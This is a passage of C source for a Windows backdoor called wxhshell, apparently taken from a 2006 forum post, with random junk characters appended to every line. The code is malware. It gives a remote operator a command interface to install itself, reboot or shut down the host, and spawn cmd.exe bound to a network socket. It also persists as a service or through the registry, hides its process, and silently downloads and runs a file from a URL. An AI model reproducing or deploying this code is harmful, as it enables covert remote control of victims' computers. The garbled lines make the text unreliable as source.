    switch(cmd[0]) { XHU&ix{Od  
  hiO:VA  
  // 帮助 A`_(L|~  
  case '?': { kzU;24"K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xEdCGwgp#  
    break; `7_=2C  
  } DID&fj9m  
  // 安装 swNJ\m  
  case 'i': { 9DcUx-   
    if(Install()) 3yg22y &l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O92a*)  
    else jm9J-%?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o8B_;4uB  
    break; 7xz~%xC.  
    } 9QE|p  
  // 卸载 #vh1QV!Ho  
  case 'r': { 2c:H0O 0o  
    if(Uninstall()) D lz||==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :aHD'K  
    else 'D#iT}Vu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eLE9-K+  
    break; DE"KbA0}  
    } EXn$ [K;  
  // 显示 wxhshell 所在路径 Y8!T4dkn  
  case 'p': { L(tS]yWHw  
    char svExeFile[MAX_PATH]; E/ %S0  
    strcpy(svExeFile,"\n\r"); tk3%0XZH  
      strcat(svExeFile,ExeFile); y\0<f `v6  
        send(wsh,svExeFile,strlen(svExeFile),0); w20E]4"  
    break; `.>5H\w0e  
    } ;m6Mm`[i<  
  // 重启 BkfWZ O{7  
  case 'b': { \bAsn89O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E><!Owxt/  
    if(Boot(REBOOT)) Ch-56   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Br2}!Ny  
    else { Cw;&{jY  
    closesocket(wsh); 8qwc]f$.w  
    ExitThread(0); DC S$d1  
    } 6ExUNp @U>  
    break; a,X=!oJ  
    } lOp/kGmn+  
  // 关机 w6tb vhcmU  
  case 'd': { fq-$u;~h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [XFZ2'OO  
    if(Boot(SHUTDOWN)) 1o)Vzv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SR>Sq2cW0  
    else { 47I5Y5  
    closesocket(wsh); mtDRF'>P:  
    ExitThread(0); e  iS~*@  
    } x" 21 Jh  
    break; A6w/X`([O  
    } ~:7AHK2  
  // 获取shell PRm Z 3  
  case 's': { %-"?  
    CmdShell(wsh); AMqu}G  
    closesocket(wsh); pKK&+umg  
    ExitThread(0); 3$f%{~3  
    break; INwc@XB  
  } cyUNJw  
  // 退出 $4.mRS97g  
  case 'x': { 4eb<SNi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JtYc'%OF  
    CloseIt(wsh); dIv/.x/V  
    break; 6GzmzhX4  
    } x)<5f|j  
  // 离开 oH~ZqX.3  
  case 'q': { M (dVY/ i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I\ V33Nd  
    closesocket(wsh); L^PZ\OC  
    WSACleanup(); q|m8G  
    exit(1); 9R.IYnq  
    break; t!^FWr&  
        } [;B_ENV  
  } g3{)AX[Uy  
  } ;aYPv8s~,:  
Wo5G23:xz  
  // 提示信息 o:C:obiQbu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cn ,zUG!-h  
} QI>yi&t  
  } QC>I<j& `!  
HN>eS Y+  
  return; %Fb"&F^7  
} g#FqjE|mx  
uF5d ]{Qt  
// shell模块句柄 g-xbb&]  
int CmdShell(SOCKET sock) vj0`[X   
{ j}8IT  
STARTUPINFO si; #f]R:Ix>  
ZeroMemory(&si,sizeof(si)); gUDd2T#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GV)#>PL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e 1{t qNJ  
PROCESS_INFORMATION ProcessInfo; bj` cYL%  
char cmdline[]="cmd"; G}i\UXFE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A`u04Lm7  
  return 0; v}dt**l  
} THQ W8 V  
oMda)5 &  
// 自身启动模式 yAEOn/.~  
int StartFromService(void) g=; rM8W  
{ Y5LESZWo  
typedef struct l1`Zp9I  
{ >rlQY>5pH  
  DWORD ExitStatus; "%ag^v9  
  DWORD PebBaseAddress; f ;|[  
  DWORD AffinityMask; Y">tfLIL_  
  DWORD BasePriority; xt +fu L  
  ULONG UniqueProcessId; h./cs'&  
  ULONG InheritedFromUniqueProcessId; ?zUV3Qgzj  
}   PROCESS_BASIC_INFORMATION; (]j*)~=V  
Fy-nV% P  
PROCNTQSIP NtQueryInformationProcess; heZ)+}U~  
93fKv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YU76(S9 0#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jf`;F :  
{d(PH7R  
  HANDLE             hProcess; c}vy9m$B_  
  PROCESS_BASIC_INFORMATION pbi; do*`-SDy  
R#tz"T@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F']Vg31c  
  if(NULL == hInst ) return 0; 6 6x} |7  
LYh5f#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P;KbS~ SlC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F~a5yW:R=)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O|,+@qtH  
Fhn883  
  if (!NtQueryInformationProcess) return 0; ?>q=Nf^Q.  
=Cs$0aA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pvy;L[c  
  if(!hProcess) return 0; 23+6u{   
SrK;b .  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; doc5;?6   
fFXs:(  
  CloseHandle(hProcess); ~2@U85"o  
K *vNv 4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V2w[0^ L  
if(hProcess==NULL) return 0; {z@vSQ=)=P  
G+[>or}  
HMODULE hMod; aC3\Hs  
char procName[255]; avO+1<`4B  
unsigned long cbNeeded; ABhza|  
vo Q,K9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xx;'WL,g  
6z%3l7#7Yi  
  CloseHandle(hProcess); %n}fkj'  
{ KwLcSn  
if(strstr(procName,"services")) return 1; // 以服务启动 /7S]%UY  
R$,`}@VqZ3  
  return 0; // 注册表启动 nq/xD;q  
} ?0[%+AD hM  
AG}' W  
// 主模块 ZM; EjS1  
int StartWxhshell(LPSTR lpCmdLine) [$[t.m  
{ Xki/5roCQ|  
  SOCKET wsl; (/"T=`3t  
BOOL val=TRUE; .[cT3l/t  
  int port=0; UMhM8m!=o  
  struct sockaddr_in door; 3{MIBMA  
.e.vh:Sz  
  if(wscfg.ws_autoins) Install(); oK5(,8 (4  
fbuop&FN+q  
port=atoi(lpCmdLine); r@%32h  
:Yz.Bfli  
if(port<=0) port=wscfg.ws_port; NBMY1Xgj  
p6=#LwL'  
  WSADATA data; Arp4$h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @D"|Jq=6P  
_%zU ^aE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ vJ*3H6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {##A|{$3%  
  door.sin_family = AF_INET; *y(2BrL>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T82=R@7  
  door.sin_port = htons(port); SmR*b2U  
dje3&a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )0}obPp  
closesocket(wsl); LiV]!*9$KG  
return 1; >^InNJd  
} <Isr  
y Fp1@*ef  
  if(listen(wsl,2) == INVALID_SOCKET) { Ds}6{']K  
closesocket(wsl); Wnf`Rf)1z  
return 1; |=%$7b\C  
} _4E+7+  
  Wxhshell(wsl); t&r?O dc&m  
  WSACleanup(); |um)vlN;9  
uDoSe^0  
return 0; fs)O7x-B(  
9(X *[X#  
} n<hwstk  
Ue,"CQ6H  
// 以NT服务方式启动 ! h4So4p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^Ws~h\{%  
{ 0]HK (,/h  
DWORD   status = 0; :sA-$*&x  
  DWORD   specificError = 0xfffffff; Yhsb$wu  
}+=@Ci  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xq~=T:>/A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IB;y8e,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hcf>J6ZLT  
  serviceStatus.dwWin32ExitCode     = 0; *n[Fl  
  serviceStatus.dwServiceSpecificExitCode = 0; [6|8Gx :  
  serviceStatus.dwCheckPoint       = 0; J| DWT+$#Z  
  serviceStatus.dwWaitHint       = 0; "V:UQ<a\  
R6:N`S]&d[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ihYf WG|  
  if (hServiceStatusHandle==0) return; 5cE[s<=  
6 w ]]KA  
status = GetLastError(); /?6y2t  
  if (status!=NO_ERROR) #F{|G:\@[  
{ u8,T>VNVw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f Fz8m  
    serviceStatus.dwCheckPoint       = 0; jcG4h/A  
    serviceStatus.dwWaitHint       = 0; XqwdJND  
    serviceStatus.dwWin32ExitCode     = status; n&V(c&C  
    serviceStatus.dwServiceSpecificExitCode = specificError; dF?pEet?2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%fkW"y:  
    return; <'vM+Lk  
  } CNN?8/u!@  
^|\?vA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,}|V'y  
  serviceStatus.dwCheckPoint       = 0; :8QG$Ua1  
  serviceStatus.dwWaitHint       = 0; H{$yy)@F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "1nd~ BBOw  
} j68Gz5;j  
\Q)~'P3  
// 处理NT服务事件,比如:启动、停止 /kWWwy<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) < 1r.p<s  
{ LaIif_fie^  
switch(fdwControl) ){(cRB$  
{ SMy&K[hJ[  
case SERVICE_CONTROL_STOP: LpiLk| 2i  
  serviceStatus.dwWin32ExitCode = 0; AP~!YwLW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pKJ[e@E^  
  serviceStatus.dwCheckPoint   = 0; SwL\=nq+~  
  serviceStatus.dwWaitHint     = 0; EXi+pm  
  { 50Jr(OeU<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ujSzm=_P  
  }  _HL3XT  
  return; [&4y@  
case SERVICE_CONTROL_PAUSE: tw(2V$J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZEMo`O  
  break; ?@,:\ ,G  
case SERVICE_CONTROL_CONTINUE: z&:[.B   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u,]yd*  
  break; lGz0K5P{  
case SERVICE_CONTROL_INTERROGATE: XDWERv Ij  
  break; $R5-JvJJH  
}; ~iSW^mi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1$P6ZF  
} "LWp/  
?=G H{ %E  
// 标准应用程序主函数 [/kO >  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*(>%E~H  
{ M]{!Nx  
sd6Wmmo  
// 获取操作系统版本 iUKj:q:  
OsIsNt=GetOsVer(); YsDl2P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {!S/8o"]  
.edZKmC6  
  // 从命令行安装 M#p,Z F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'GyPl  
=1(BKk>  
  // 下载执行文件 $5o<Mj  
if(wscfg.ws_downexe) { /l`XJs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5C&f-* Bh  
  WinExec(wscfg.ws_filenam,SW_HIDE); q8lK6p\:W  
} utE:HD.PN  
5 6R,+sN  
if(!OsIsNt) { !< )_ F  
// 如果时win9x,隐藏进程并且设置为注册表启动 GwycSb1  
HideProc(); M}<=~/k`j  
StartWxhshell(lpCmdLine); +u2Co_FJ&  
} D^~g q`/)  
else  {MtB!x  
  if(StartFromService()) aVb]H0  
  // 以服务方式启动 _7<U[63  
  StartServiceCtrlDispatcher(DispatchTable); :6 fQE#(s&  
else ba ?k:b  
  // 普通方式启动 vB{b/xmah  
  StartWxhshell(lpCmdLine); ?uN(" I  
f#t^<`7  
return 0; xRUYJ=|oh  
}
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只看该作者 1 发表于: 2006-10-10
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